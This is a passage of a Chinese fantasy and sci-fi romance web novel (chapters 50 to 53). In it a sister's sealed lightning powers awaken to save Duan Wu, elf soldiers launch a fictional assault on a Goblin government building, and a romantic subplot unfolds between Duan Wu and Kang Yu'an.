康屿安抖动着耳朵,四处观望找水源:“没事,有我呢!” 问题是,水呢? 初出牛犊不怕虎,最勇的还得是端砚,在地上随便找了个顺手的家伙儿就冲上去了。 “你别想碰我姐!” 跑过来支援的警察赶紧拿着麻醉猛烈射击,漫天的麻醉飞镖追着马利斯基扎,很快就把他射成了小刺猬。 “上剂量!控制住!别让他靠近端局!” 满身飞镖也没影响马利斯基的速度,丁点不耽误时间,目标明确的朝着端戊狂奔。 他碰到的第一个‘障碍物’是端砚,眼睛都没眨一下就跨过去了,没错,跨就像越了一个小石墩。 碰到第二个‘障碍物’辛瑙时,马利斯基依然没把她放在眼里,但毕竟他也不是超人,辛瑙到底也差不多一米七呢。 马利斯基拎着辛瑙的领子,很随意地扔到一边了。力气都懒得多用,像是攒着劲儿杀端戊呢。 随意扔也是要了辛瑙半条命呢,落地后感觉自己快被摔散架了。 咬紧牙关才没喊出来,看到端砚拎着不知哪捡的一根铁棍折头追回来了。 差点咬碎牙地用力撑着站起来,和端砚对视一眼就并驾齐驱的冲上去了。 “混蛋!怪物!你站住!” 也不知道俩人哪里来的默契,一个眼神就心领会神了。 要么说,哪有什么天生的默契,都需要两个人在一起经历很多的事情。 马利斯基和端戊只剩下一手臂的距离了,毛茸茸的大手向血淋淋的后背猛地抓去。 “射击!”眼看着端戊危险了,后边步步紧逼的队长下令击毙马利斯基。 “姐!”端砚这一嗓子喊出都破音了,听得康屿安心里一紧。 端戊压着康屿安的头,九十度向前弯下腰,躲过了奔着命来的攻击。 辛瑙和端砚同时占了瘦和小,身轻如燕得追上马利斯基,默契得一人抱一条大腿,想要争取时间让端戊和康屿安跑远点。 让远处追上来的警察们拉近些距离,至少射击也能瞄的准一点吧。 马利斯基确实皮糙肉厚,中了麻醉跑这么久没倒下也就算了,现在中弹了还能不要命地往前冲呢。 端戊真不知道他恨自己怎么就恨成这样了,她也是良善了二十余年,还没做过什么苍天看不惯的事呢。 马利斯基看着腿上突然出现的两个挂件,先是用力甩了甩小的,黏的还挺牢,直接骑坐在脚上,胶水黏上了似的抱紧小腿。 没办法只好甩那个稍微大点挂件,这个也甩不掉,因为瘦啊,就像是张膏药一样贴在腿上。 马利斯基干脆不管她俩了,拖着大步追上端戊。 端戊把康屿安推向一边,用力提了一口气,虚晃一拳打向马利斯基的面部,在他全力防御的时候,蓄起刚提上的那口气,全力踢向马利斯基要害。 这是端戊能凑出来最后的力气了,希望大力能够出奇迹吧。 奇迹果然出现了,马利斯基嗷嗷叫着变成一只大虾。 端戊轻轻摇头叹息:“实在没力气了,咋动都没动一步呢? 下一秒,他动了。 在端戊收腿的刹那间,马利斯基出手了,原本捂住小腹的双手,猛地抓住了端戊的脚。 嗷嗷声立刻变成呵呵声:“端戊,你跑不了了,我要撕碎你!” “砰!砰!砰!”马利斯基已经中了数枪,却像一个执着的马蜂窝不肯倒地。 而现在,他抓住了执念。 端戊借着马利斯基的手劲腾空跃起,用另一只脚去踢他的手腕穴位:力竭了…… “师父……” “姐……” 辛瑙和端砚立刻从马利斯基的脚上站起来,玩了命地去掰他的熊爪子,纹丝未动。 而马利斯基已经抓住了端戊的同侧手臂。与此同时,所有的警察已经冲上来了,有武器的上武器,没武器的上拳脚。 马利斯基身形明显微晃。 “加把劲儿!他快撑不住了。”只要能把端戊救下来,马利斯基活不活口的已经不重要了。 康屿安终于找到水源了,耳朵兴奋的乱颤,在看到端戊被举起时,耳朵似乎都变长了,像一只饿狼嘴边的小兔子。 端砚脸色惨白的如同被抽干了血,呼吸似乎都停了。 这个场景和她预知的场面一模一样,围上来的警察人数,说过的话都无差别。如果这样的话,接下来端戊即将被拦腰撕裂,成为两段。 “不要……”端砚的呢喃从牙缝里挤出来,双手却抖成了筛子。 辛瑙的手挨着端砚的小手,感觉到小手突然就调成了震动模式,诧异得看过去:孩子吓成这样了吗? 于是赶紧手上又加了点劲儿,甚至用指甲去掐马利斯基。 “就是现在,他马上就要爆发了……”端砚的指尖冰凉,嘴唇不受控的开始哆嗦。 预知里,马利斯基就是在倒下之前,先撕裂了端戊。 “别想伤害我姐!”端砚的呢喃声炸了成一声春雷,吓旁边的辛瑙一跳。 转头看端砚时,发现她现在的模样比那嗓子更吓人。 辛瑙眼前像是有一双看不见都手,在端砚的包子脸上捏脸,肉嘟嘟的两颊快速变小变窄,棱角分明。 眯缝眼也被撑开了,快速变圆变大,像是两颗饱满的葡萄。 小刷子一样的头发挣开 了皮筋,肆无忌惮的野蛮生长,原本黑亮的头发竟然变成白色。 最诡异的是,随着端砚活动着脖子,辛瑙能听到骨头咯吱咯吱的声音,端砚的脖子变长了,腰线变长了,就连腿也变长了。 “你拔苗助长了?”辛瑙不可置信的声音发颤。 端砚瞬间就长得比辛瑙还高一丢丢,破碎的衣服散落在地,一身白色长裙像是从皮肤里长出来一样,直接穿在了她身上。 “妖精吧?”像是被滚烫的油溅到了,辛瑙向旁边一跳。 端砚根本没搭理她,白皙的脚像是怕脏一样,在地面上悬起一拳高,展开双臂,头向后仰。 “我就说我不是小孩!”端砚仰头大喊,连声音都不再是那个小豆丁,沙哑而清透,像是某个唱民谣的当红歌手。 道馆里,端妈正在纠正一群小豆丁的动作。 “臂要端平!” “马步蹲下去,别在那撅着!” 看着这些小东西,端妈就像看着端砚。十八年,已经压制的够久了,该来的总是要来的。 突然狂风骤起,天上乌云像是滔滔江水一样,朝着一个方向奔腾聚拢。 “这要变得,怕不是天而是人吧?”端妈轻声叹息。 “端妈妈,是要下雨了吗?下雨为什么会变人啊?是变哪吒吗?” 就近的小豆丁听到了,立刻嘁嘁喳喳的十万个为什么。端妈看着齐齐仰头看过来的小面团子……那样的端砚再也回不来了。 “马步扎稳了,都干嘛呢!”端妈粗着嗓子大吼一声,端砚就是这样被吼大的,平平安安无妄无灾。 太行山顶。 一身白衣、白眉白须,仙风道骨的小老头轻捋胡须,看着黑云滚滚,闷雷将近。 另一位黑色道袍,黑发黑须的年轻道士在老者对面磨盘形状的圆石上打坐,饶有兴致的打趣老者。 “师父,能多捋就多捋捋吧,小师妹回来后,定是要惦记着拔光你胡子的。”执黑顺着鹤颜的视线看滚滚黑云,仿佛看到了小师妹压抑的怒气。 “她敢!还反了她这个逆徒了!”鹤颜下意识的捂住下巴,提起那个臭丫头都觉得疼。 好不容易养出来胡须,可得防着她点。 “别忘了,师父可是封了她十八年呢!明着她不敢,您还防得住她鸟悄儿的吗?您还能不打瞌睡、不睡觉了?”执黑看着师父强撑着的倔强不由笑了。 世间竟会有这样的的,不笑的时候整个人淹没在黑须里。 现在只是微扯嘴角,便像换了一个人,弯弯的眉眼洒满星辰一样熠熠,原本冰冷的面容被嘴角一扯就融化成暖阳,光是看着就舒适。 “不能……”鹤颜彻底怂了,垂下双肩,但是快就挺直了:哪有师父被徒弟吓唬住的? 他的小徒弟到底有多可怕?请看现场画面。 端戊已经感觉到腰腹肌肉被拉的生痛,以为自己会害怕,没想到竟异常平静。 这就牺牲了吗?就这么壮烈的吗? “端戊!”康屿安声音碎成了玻璃渣。 是康屿安……端戊看着她因为激动抖动过快的精灵耳,忽地想起那双白色耳朵,白色和紫色竟是这么搭,原来崔雪松来的刚刚好。” 51.第 51 章 “天怎么黑了?”天生异象,让端戊差点忘了自己的处境。 端戊被迫仰着面,看晴空万里秒变乌云翻腾。死心地准备闭上眼睛,却被红光晃到了,墨云中咋还劈一道红色闪电了? “红闪?我这么快就到别的世界了吗?”端戊不得已又睁大了眼睛,这可得好好看看。 端戊把眼皮撑得更高些、再高些。没错!就是红色。 “姐!别乱动!”端砚还有点不太适应新声音,连个过渡都没有。 “端砚?”她自己都不习惯更何况是端戊。如果不是端砚叫姐在先,这谁敢认啊? 端戊被抻成一根铁尺,笔直僵硬的平躺着。用力抬了抬脖子:没听说那边的闪电是红色呀?那也不对呢?端砚刚解封变完身,哪会这么容易也死了。 “端砚?你在上面干嘛呢?”仰着脖子好累,端戊不想猜了,人就在这,直接问不好吗? 墨黑的背景云,端砚的飘逸白。犹如一幅水墨画。 画中平添的红色闪电,随着端砚的手势上下起伏。 端戊有点懂又有点懵:不是异象是异能吧?这是我妹放的电?我妹是个电娃? “救你啊!不得先热热身!”端砚双手紧忙活,手指掐着没人看得懂的诀。 乱七八糟的手势,总算让端戊从半懵半懂到完全懂了:说放电确实高估她妹了,就她情窦晚开的劲儿,还真没那个天赋。 端砚的异能:雷霆天目。 因为太过雷霆,威力过盛,她师父怕她年幼不懂得掌控,无辜群众不得死伤无数啊?于是,十八岁之前准备一直封着的她。 今年是最后一年,鹤颜准备徐徐图之,多入几次他爱徒的梦境,让她一点点明白、一点点接受,以后不要做出什么过激的举动。 没想到刺激来得这么猝不及防,端戊生死攸关、端砚冲破封印。 端砚双脚离开地面后,吸气、把自己升高,再吸气再升高。像是吹起了一个氢气球,一直把自己吹到了红色闪电旁,展开双臂上下起伏。 可以这么理解,十几年未见了,先和闪电互动熟悉一下,告诉它我回来了,你该干活了。 等闪电彻底认主了之后,咻地和端砚的意识热情相连。有点像蓝牙鼠标连接上了电脑,而端砚是那个手拿鼠标,操控闪电的人。 这会儿,红色闪电就有点指哪打哪的意思了。 端戊刚感觉到手脚微烫,还为自己担心呢,‘啪’地一声就掉地上了。 “呃!一二三都不喊一个吗?”咚地落地,屁股摔得嘭嘭痛,后背震得撕裂痛,好在囫囵个的下来了。 再看马利斯基,已经被烫成和辛瑙差不多自然卷了,胸脯快速起伏着。 端砚确实长大了,知道留活口了。 “你是咋做到隔空绝缘的?”尽管端戊长大后,无意中就已经知道端砚来自太行山,属于现代道家的新科技弟子,可这未免也太科技了吧。 “这叫零流护盾!牛逼吧?”端砚缓缓落在端戊身边,蹲边儿上查看她后背的伤。 “牛逼,你师父也牛,如果不是控制住你的异能,怕是你走到哪,哪就得烧焦一片,咱家得天天来告状的家长。” “嘁!姐,你说的还是太保守。我如果从小就能用,咱家得天天警察不断。你别拐着弯儿的替我师父说情呦,一码归一码,和我商量了吗?上来就封我啊?”端砚小心抱起来端戊,就怕动作大了让她姐疼。 端砚不记得端戊抱过自己多少次,反正从小只要她哭了、摔了,端戊就会抱起来哄。 “端戊……”康屿安小狗一样眨着精灵眼,亦步亦趋、落下半步都不行。 “要不你来抱?哦,嫂嫂?”端砚看似在和康屿安说话,眼睛在看辛瑙,正对上她毫不掩饰的探究。 这货儿知道的事儿挺多呢,还有多少是自己不知道的?年纪小限制的也确实多,不知道自己到底错过了多少。 “还是从前的小肉团子可爱!”康屿安帮着托起端戊的腿,脸上一半写着不放心,一半写着不满意。 “傻乎乎有什么可爱的,说实话,你是不是喜欢我是个傻的好欺负?”端砚把端戊放在趴着舒服的地方,伸出一根手指挑起端砚的尖下巴。 手指碰到瓷滑的皮肤时,感觉像是摸在了奶油上,一个不小心就会化在手心里:我姐,还真是好福气,难怪铁树开窍了,就这,换了谁不喜欢啊? “你是白眼狼吗?不记得我让你少挨多少打、带你吃了多少好吃的了!”康屿安气得都想动手掐她了。 可是看到端砚美艳的不像话的那张脸,就想起她是怎么一招就把大黑熊烤糊的。 康屿安缩了缩手指,她害怕端砚没控制住,一个不小心漏电了。 “哎呀,怎么这么不禁逗呢!”即便没回头,也能感觉得到端戊的死亡凝视:“好啦,不逗你了,刚送你来的小白耳朵是谁啊?” 辛瑙快要长在端砚身上的眼睛,终于活过来了,转到端戊身上。 师父是不是失血过多了,刚看着只是有点惨白,这会儿看着怎么还铁青了呢? “师兄,麻烦开快点,我师父情况不太行了。” “好咧!”听辛瑙这么一说,警察小哥哥愣是把警车开出了野战救护车的感觉。 原本坦荡的康屿安瞬间不磊落的也看向端戊:不是因为失血过多吗?又不是因为我。 “是我小时候的邻居,一起长大的朋友。”康屿安不觉得有什么问题,可一个、两个的,表情都有点奇怪,她就不得不多想了。 “你邻居都这么好看吗?,还那么帅气,她单身吧?”端砚腾出一只手拍着她姐聊以鼓励,眼睛盯着紫耳朵,心里惦记白耳朵。 耽误的那些年,她可得一刻不耽误的找回来。 辛瑙顾不上她师父到底行不行了,反正她心痛的不行了。 今天最不行的,恐怕得是哥布林星球了。 只能怪他们造孽太多,太多不寻常的日子怎么能全记住呢?而那些留下伤疤的星球,谁还没有个世世代代都不敢忘的重要日子。 特别是进入蛰伏期的朝暮星。 一百四十年前的今天, 第一批哥布林人侵入朝暮星,在战火和反抗失败后,哥布林的第一个生化基地建在了人家的星球上。 实验就近材,全用的人家小精灵,没过两年就终结了不知多少族谱。这些他们不会记得,朝暮星人自己有本账本,一笔都没落下。 任何事情,只有被伤害者会牢记,而那些不疼不痒的施暴者和旁观者,事情过去了也就过去了。 更何况,朝暮星现在连家都没有了,如果这样一个特殊日子不做点什么,难平精灵们心中的怒火。 “崔雪松申请出战!”在一家星际餐厅的地下室里,密密麻麻摆着整整齐齐的小凳子上,坐满了挺拔的小精灵们。 “你级别不够,一边等着去!”一个湛蓝耳朵的精灵,大手一挥打断了崔雪松。 “金上校,我请求进入后备小分队。”崔雪松绷紧的国字脸轻颤,白色的耳朵因为激动有些透明,细小的青色血管像是画上去的小树杈。 就在来这里之前,她刚从叶白那里得到消息:叶白的设备支持来自哥布林星,那她父母的牺牲? “还用不到你,你那边刚些眉目,完成你自己的任务!”金上校看着崔雪松的耳朵,就能想起她的父母。 他们是同批战友,崔雪松的爸还是金上校的班长。那会儿最苦,也最快乐,他没少在当年的崔班长那蹭吃蹭喝捞甜头。 “金上校……”服从命令是军人的职责。可是,崔雪松和朝暮星之间,不单单是百年旧恨,更多的是血海新仇。 “本次行动代号,破晓燎原。按照原计划里应外合,让这些狗日的卤蛋碎的碎、熟的熟。”金上校顿了顿看向崔雪松。 “任命崔雪松为本次行动指挥中心的作战值班参谋,负责本次战役的指令传达!”金上校的痛并不比崔雪松少,他更多的是想替老班长照顾好他们的崽儿。 端砚也是有自己的崽儿,而这个崽儿看上她妹的眼神是一点不遮掩。她有点后悔让辛瑙先送她俩,再送端砚。 “辛瑙,送完你姑姑,也早点回去休息。明天去了解马利斯基状况,看看什么时候能提审,他现在是重要证人,不要被钻了空子灭口了。” 端戊扯了扯干裂的嘴唇,她可以认下这个徒弟,但是其他的想都别想。 “姑姑?不是……领导,我觉得我们的同事关系还是挺和谐的,您说是吧?”辛瑙看了看端砚,谁想有这么美艳的姑? 师父可以变成领导,棒打鸳鸯想都别想。 “滚滚滚!赶紧滚,我这一身血和土的都成泥了,我得回去洗个澡了。”端戊管她怎么耍赖,她妹可不能成那个倒霉姑娘。 “师,不是,领导,医生说你近期不能沾水……呃,如果伤口不碰水,也不是不可以的。”辛瑙脑子并没比嘴慢了多少,很快就追上了,立刻帮自己找补上。 都伤得这么重了,洗澡?那怎么能够是自己洗? 刚刚处理伤口时,康屿安那个紧张的劲儿,洗澡这么大的事儿,总不能袖手旁观的吧? “洗澡愉快哦!”辛瑙一路小跑着去替端砚开车门。 52.第 52 章 “叮!” “今天电梯是不是慢了点?”端戊的麻药劲刚过,声音虚浮缥缈的有点像被关进笼里的小豹子。 “慢吗?”康屿安怎么感觉电梯咻地就到十三楼呢?她还没把一团乱麻捋清呢。 “回去吧,早点睡。”端戊没有力气多说一个字,只想洗去一身的血泥。 “你干嘛不听医生的留院观察?再说了,伤口不是三个小时涂一次药吗?”康屿安还想问,今晚住哪个房间? 能为嘛?还不是这一身的血泥。 “今晚住我宿舍。”端戊喜提新技能,就算康屿安话只说一半、哪怕就一个眼神,她都能猜得八九不离十。 “嗯,行……”康屿安还没去过端戊的宿舍。 两间挨着的宿舍,不说一模一样,至少也会格局差不多的吧? 其实并没有,二模二样。 准确来说,两间宿舍互补了不足,康屿安那边厨房的位置,刚好是端戊这边的书房。 康屿安的卧室大一些,床也大一些。而端戊的卧室小很多,床呢,自然就小了很多。 就好像隔壁的是主卧,而这边的是次卧,两间宿舍本就应该是一间。 康屿安站在卧室门口打量端戊的床,比单人床大一点,比双人床真是小很多。 最近有长胖一点,如果两个人同时躺在床上,看样子,中间勉强可以挤下一个侧躺着的人。 “看什么呢?”端戊不单声音虚浮,脚下也虚浮。走到康屿安身后,比阿飘还飘呢。 轻飘飘的声音猝不及防地贴近,把专注的小精灵吓得耳朵乱颤、舌头打结,微热的呼吸,甚至拂过耳廓的绒毛:没事贴这么近干嘛? “没,没看什么。”那是能说的吗? “哦?”端戊挑眉轻笑,站她身后看她发了许久的呆,她说什么都没? 康屿安紧急打量着卧室,还真让她找到了答案:“你的被子叠的好方正哦,和崔雪松叠的被子差不多。” 说完就发现这不是个好答案,甚至是错误答案。 端戊铁青转白的脸,再次铁青了:“你和从小一起长大的邻居,关系还真的是好呢?” 猜的一点不错,还真不是一般的好,好到崔雪松的战前遗书,都是留给她的。 康屿安第二次被托付资产,钱变多的方式有千万种,这大概是最让人难过的了。 指挥中心是一辆房车,停在二丁目三番白楼不远处的停车场。 从外面看,这就是一普通房车。其实除了驾驶室一样,处处不一样。 车壁两侧挂满了设备和全息屏。车里除了金上校,还有六名军士,分两排背对而坐。如果指挥车被发现,防战系统根本抵不上人家的一颗幽灵弹。 如果运气好,任务完成就可以顺利撤退。其实,指挥车里的七个人就没有活着回去的打算。 只有这样,活着就是赚到了。 “Shark,你那边情况怎么样?”崔雪松看了一眼时间,和白楼里面的内应做行动前确认。 “准备完毕,已经就位,等待指示。”少年老成Shark摸着有些扎手的小寸头,毫不含糊的回答。 “收到。”崔雪松回头转达给金上尉,得到指示后,再次开启暗空通信。 “Bear,你那边准备就绪了吗?”崔雪松这次连线的是里应外合的‘外’。 哥布林星最大民营星际航运的运控中心,壮实如熊的Bear大喇喇的坐在指挥官的舒适大座椅上,得意的转着。 “没问题啦!可供我方使用的客机十五架,货机二十架。原地待命,随时启航。Over!”稚嫩的脸上是修剪有型的络腮胡,满眼的玩世不恭掩饰了生吞卤蛋的恨意。 Bear的情况和崔雪松差不多。对他来说,活着就继续报效国家,死了也不错,全家团聚了。 “收到。活着回来。”年龄相仿,情况相近,又都是金上尉的偏爱兵,崔雪松和Bear走的更近些。 崔雪松再次看向金上校,得到指示后,神色一凛,连线所有频道:“全体注意,统一时间。现在是星际时间二十一点十一分,二十一点十八分,准时行动!” “收到!” “收到!” 为嘛选择大晚上的呢?有人这个时间上班吗? 平时没有,今天的这个时间还真有。新首相上任,普天同庆,白楼狂欢。 这若不送份大礼都对不起千年前的渊源。 时间到了,是时候把狂欢推上一个高潮了。 Bear坐直身体,刚刚还慵懒如树獭的眼神,立刻锐利如钩:“兄弟们,平时的狠劲儿都拿出来吧!谁也别掉链子,领导可看着呢!看好自己的位置,跳伞时角度给我看准了!咱们既要脸也要命!” “收到,让领导看个帅的。” “谁不回来谁孙子!” 三十五架飞机相继起飞,按照计划,不同航班飞不同航线。因为是哥布林本土航运公司的飞机,并未引起安全系统的警觉。 所有飞机的航线,神不知鬼不觉的对白楼呈包围趋势,且同一时间内与白楼灯距离相等。 看起来一切正常,只是今天申请的航线比平时多了些而已。 突然,所有的飞机悬停、一百八十度转弯,直奔白房子的定点目标爆发式加速。 而庄严白房子里,所有的官员们干着最不肃穆的事情。也不知道哪个大聪明这么在意哥布林帝国的脸面,一定要把一切外界不能知道的龌蹉,关在白房子里面。 也亏得这个大聪明,才有了一锅端的机会。 飞机只管闷头冲,撞哪咋撞都是定好的。临近撞点时,背着防护降落伞跳就稳了。 每个撞点早在上半年,就被混在维修队的朝暮星间谍提前埋入了燃弹。 内应的Shark以保洁的身份打入白房子内部多年了,早已经把内部摸得门清,尤其是垃圾通道。 要么说,一个星球想要灭亡,必先标新立异,总觉得自己全星际最爱干净的,放个屁都得清新脱俗,垃圾处理还不得与众不同。 全星际都进入垃圾就地分解时代,只有哥布林认为不科学,影响居住、办公环境了。 于是把淘汰的真空垃圾通道升级为磁悬浮真空通道,认认真真的环绕每一层。 而Shark领着她的小分队,也是认真在每一层的各个角落,定点吸上了磁吸燃弹。 最后戴上氧气面罩进入通道,逐层解除燃弹的安全防栓,最后坐滑梯一样滑进早等在 负一层的垃圾车统一撤离。 二十一点一式八分,整个白楼从内到外,绽放了一场盛大的烟花,祝贺新首相上任,全体喜提烤卤蛋新皮肤。 “yes!都是好样的!”Bear在屏幕前清点降落伞定位,一个不少,他也是松了一口气。 “报数!”Shark站在垃圾车上,数着噼里啪啦掉下来的兵蛋子。终于停下来了,虽然他心里有数,可是就要想听他们自己告诉他。 二丁目三番白楼顿时成为热火朝天的烤蛋明火箱,只闻其臭,就像烤了一炉的臭蛋。 很快,有忍受不了的卤蛋从破洞处,火鸡下火蛋一样噗噗跳了下去。 绚烂的画面,让指挥车里响起掌声一片。崔雪松连接上全息系统,做最后的战场清查,哪怕只是意识连接,皮肤的灼痛感还是让崔雪松快速撤出,留下卤蛋们自己享受吧。 和二丁目三番白楼的灼烫感相比,端戊的灼烫感可就神奇多了,不但不会痛,反而还止痛呢。 鬼机灵辛瑙多少是有点鬼谷子在身上的。 果绿色的浴室里,温柔的暖白壁灯和暧昧的暖黄镜灯,旖旎纠缠在一处。 康屿安站在端戊的身后,小心的把水绕开端戊背部的伤,一丝一寸洒在冷白的皮肤上。 小手从直角肩开始,轻轻划过紧致的后背,纤细的腰肢,饱满挺翘的线条,肌肉若现的漫画腿。 康屿安的铜氨生态丝睡裙,湿一分,透一分,小手就更热一分,落在端戊的身上,烫着呢。 端戊觉得今天水温有点高,看了一眼,这不是和平时一样吗?嗓子有点干,不是刚刚喝过水吗? 吞咽了一下并不存在的口水,突然发现,水声不断,可是她就是觉得浴室过于安静,还是说下什么吧。 “关于那个小白耳朵,你,不想说点什么吗?”空灵的声音只剩下空,干巴的灵不了一点。 端戊纯属没话找话,直接的、间接的,人家在她面前介绍的可不止一次。 咱也不知道她还想知道点啥,康屿安本来也不知道,可是突然想起一件事,她就知道了。 曾经为了崔雪松,到底是做过对不起端戊的事。这是知道了?不管知道不知道,都是应该给人家一个交代的。 本来还想找个一个适合的机会呢,现在不用找了,机会自己来敲门了。 歪打正好的机会也算是机会吗?这到底是给谁的机会? “端戊,我有做过对不起你都事情,是和崔雪松有关系,我隐瞒了你……”康屿安说话的声音越来越小,最后低不可闻。 毕竟这个事儿如果放在朝暮星,够把她拉出去处决了。这如果再倒回去千年,都得把她全家都处决。 管你是不是世家,管你是不是稀有紫耳朵。 同一件事,康屿安说出来的和端戊耳朵听到的,就这么不凑巧成为了两件事。 端戊只听到了,我对不起你,那个人是崔雪松。 这谁忍得了,端戊猛地转过身来,撞到了康屿安手里的花洒上。 花洒一个猛回头,整个浇在了康屿安的身上。 早就半湿半透的睡衣,哪经得起临头一浇,顿时像化了一样。不过一个转身的功夫,端戊眼中的康屿安就完全不一样了。 53.第 53 章 端戊没想到,她只是随便一问,竟还有意外收获? “什么时候的事?”余音还未落,问的人已后悔。 想起了端妈的话:有些事,能不知道就不知道吧。知道了只有平添闹心,没一点好处。而知道的事就是没有的事,省心。 现在,端戊不想知道也得知道了,鸭子被赶到架子上了,不上也得上了。 架子上的康屿安心慌手抖,水花四溅。端戊关上水、接过花洒, 她希望听到康屿安说,那是很久以前的事了。她会拍着她的头说,那又有什么关系呢? 然而,康屿安自有她的答案。 “有一天,你睡着后,我就水遁出去见她了……”康屿安紫色的精灵耳,哨兵似的站得笔直,眼睛咕噜噜地流转紫光。 她很努力的组织语言:怎么才能把错误等级一降再降呢?却没看到端戊的眼底已经结出了冰。 只要想到康屿安眼里的紫光,早已经流到别人家去了,端戊先是大脑空白一片,随后就长出两个字:出轨。 额头倏地突起青筋,仔细看似乎还有缕缕青烟从头顶升起呢。把咬牙的声音调成了震动,手伸了过去。 康屿安下意识后退,撞到了冰冷的墙上。冷意渗透湿了的睡衣遍布全身,不由打了个寒颤。 “咚!”小脑袋还撞到了墙上。端砚是不是说过,她姐每次只是吓唬她,从没打过她吗? 那她现在是在吓唬我吗? 刚生的气被端戊重重呼出去,把康屿安脸上的湿发捻起、掖到耳后。薄薄的掌心贴着墙面,修长的手指压住她的湿发,轻揉刚撞到的后脑。 快速眨动的睫毛,比受惊小鸟的翅膀还慌乱:离这么近干嘛?抢了我的空气,呼吸都不顺畅了。 端戊被忽闪的一阵眩晕,靠得更近了,尖尖的下巴抵在康屿安的头顶,稍微支撑一下身体。 “伤口疼了吗?后背洗好了,前面我尽量快点洗。”康屿安抓住端戊手里的浴巾,想要拿下来。 咦?纹丝未动。康屿安只能又用了一些力气,却看到端戊握着浴巾的关节已经泛白。 切!拔河吗?用这么大劲儿。我一个身体康健的还怕了你这个失血过多的不成? 康屿安使出了嗷呜的劲儿,奶凶奶凶的一把夺过来浴巾挂到一边去:哼!一点不懂得配合,看来宠物店的工作也没那么好干。 一鼓作气、乘胜追击地把花洒夺过来,还能体贴的试试水温,才小心得淋到端戊的天鹅颈、前胸、小腹。 水温没有问题,可是端戊却感觉到滚烫的水渗进身体,凝聚成涌动的暖流。 “到底是什么时候的事儿?”肆无忌惮的热浪在体内四处流转,刚想通的端戊,又想不通了。 “什么?”康屿安像是在洗最喜欢的小狗子,认真的不得了。 “你,和崔雪松的事。”端戊按住了康屿安认真洗搓搓的小手……蛋挞,不需要用手洗。 “就是门口的机器狗坏掉时,你睡在我房间的那次……”假的说的多了,康屿安差点自己都当真了。 如果端戊不知道,也就算了,偏偏人家是知道的,还理直气壮的当着人家面说出来。 “你确定,我是睡着了?”端戊被气笑了,同时松了一口气。原来小紫耳朵说的是那件事儿?虚惊一场、吓得不轻。 三角戏中的崔雪松完成任务正在撤退,也被吓了一跳呢。 “砰!”燎原破晓的指挥车疾驰在哥布林首都混乱的街道上,就快要出市区的时候却被击中了。 这个时候无论是救援还是报道,甚至是看热闹的,都急着往市中心奔,只有指挥车火急火燎的出城,不被发现才怪呢。 事出反常必有妖,肯定宁愿打错,也别放过啊。 为了抵御攻击,指挥车自动启动了防护系统,瞬间就暴露了它不是普通房车,有可能是做了坏事的房车。 金上尉看了一眼崔雪松,有点后悔带上她了。他把夹在衣领上的迷你话筒取下来,夹到了崔雪松的衣领上。 “全力加速,出市区就能看到海域了,让你们见识下指挥车的潜水系统。”金上尉尽可能语气轻松,随手按了下车顶的红色按钮。 一排小腿粗细的炮筒伸出了锃黑的脖子,摆动着搜寻天上的目标,锁定、反击。 很快,有两架无人机被打下来了,又顺利的跑出来十公里左右,再次被增援的无人机追上了。 一颗幽灵弹直直砸向车头,汽车兵的技术可不是盖的,单手向右打方向盘,左手按下车门上的一个黑色按钮。 指挥车神龙摆尾的躲过追击,从驾驶位置的底盘处,探出一个看似捞鱼的网,只是网线透明,通电似的滋滋啦啦的发光。 磁铁一样把幽灵弹吸进了网里,又像打网球一样拍了回去。可不是随随便便打的,也是经过精准计算弹射出去的。 又一架无人机,为哥布林星一白楼的领导人陪葬了。 “yes!” “干的漂亮!” 指挥车内士气大增,又呼啸出去好几公里,海域已经近在眼前了。 “嗡嗡嗡……”头上是苍蝇成精的声音,在车顶盘旋。 “不好,被包围了。”崔雪松轻声惊呼,头顶苍蝇机带来的凶险每个人心里都有数。 “不慌……”金上校安抚着满车的紧张,打开面前屏幕,虹膜识别确认身份。 房车轮胎突然收起,车身曲线微弓,犹如变身猛虎,紧接着虎躯一震,车里所有人默契的抓紧扶手。 上一秒还是喷气式巡航导.弹,下一秒就已经变成喷气式鱼雷,冲出包围圈成功潜进水里了。 “呜哇!太帅了!” “简直无敌了!” “我们水下潜回去吗?酷哦……哦哦哦!前面是个啥?” 指挥车里的气氛刚被推上顶峰就被吓到直线下落,最后彻底坠入谷底了。 王校长的心情这会儿也不咋高涨,因为调查组找他核实的情况,是和端戊的父亲有关的。 端正阳在成为烈士之前,声名狼藉的不像话。他曾经也是王校长的学生,只是,还没毕业就因为校外多次打架斗殴、屡教不改而被开除了。 再后来,便和 那些人混迹到一起了,典型的精英苗子变成社会毒瘤了。 连续多少年,端正阳都是星域维安研学院的反面教材,每年新生大会上,都会作为保留人物,拿出来敲打新生。 端正阳当年认识的端妈,那可是名震江湖、人称辣手毒妞。现在,毒妞吕叶子已经被淡忘了,或者只剩下传说了。 端正阳那些年结仇过多,一个大意就被几家联合围堵了,按在地上硬是要把他各具异能的十个手指头,像切胡萝卜似的剁下来。 赶得巧,被喜欢走夜道的吕叶子撞见了,原本她也不想管闲事的,不过是从房檐路过低头看了一眼,就被端正阳那张脸吸引住了。 亦正亦邪、桀骜不驯。看起来就和那些个混混们不一样,这也就算了,还好看。 吕叶子读书不多,只觉得端正阳鼻子是鼻子、眼睛是眼睛的,每一个部位长得都像是画上去的。 “干嘛呢?”她没忍住,也不想管什么江湖规矩,她如果能被约束名声也不会那么毒了。 “妞别多管闲事,回家吃毒豆子去。”吕叶子的名声是响的,但是也还没响到谁都能给她个面子。 “你管我吃不吃豆子,我看上他了,我要他。”吕叶子指了指被压在地上的端正阳。 这张脸都被踩扁了还这么好看,这如果捡回去,看一辈子也看不够啊! “你别发疯啊,江湖上还想不想混了?”二十几个混混色厉内荏,下意识的掩住口鼻连连后退。 毒妞用毒,没人见过是怎么用的,因为见过的人都死了。 事实上,掩住口鼻也没用,吕叶子往那一站,空气都被毒化了。顿时,所有人的口鼻咕嘟咕嘟流血,还有的已经倒地不省人事了。 “今天这事儿,算是我理亏了,可是这么多年我就看上这一个,说什么我都得带走。你们不会死,就算是我用他一条命,换你们二十几条命了。”吕叶子跳下去,从地上拎起了端正阳:“走吧,回家!” “不是,这……”满脸血的混混们,说不出一句完整的话来,问题是,这帐是这么算的吗? 端正阳看着比自己更不守规矩的姑娘,也觉得挺好看,眼睛黑是黑、白是白的,黑白分明。 小脸真白啊,小嘴真紫啊! 脸能不白吗?吕叶子属猫头鹰的,只在晚上出来。嘴能不紫吗?都是试毒试出来的。 反正端正阳觉得这姑娘挺好,无以为报,太乐意以身相许了! 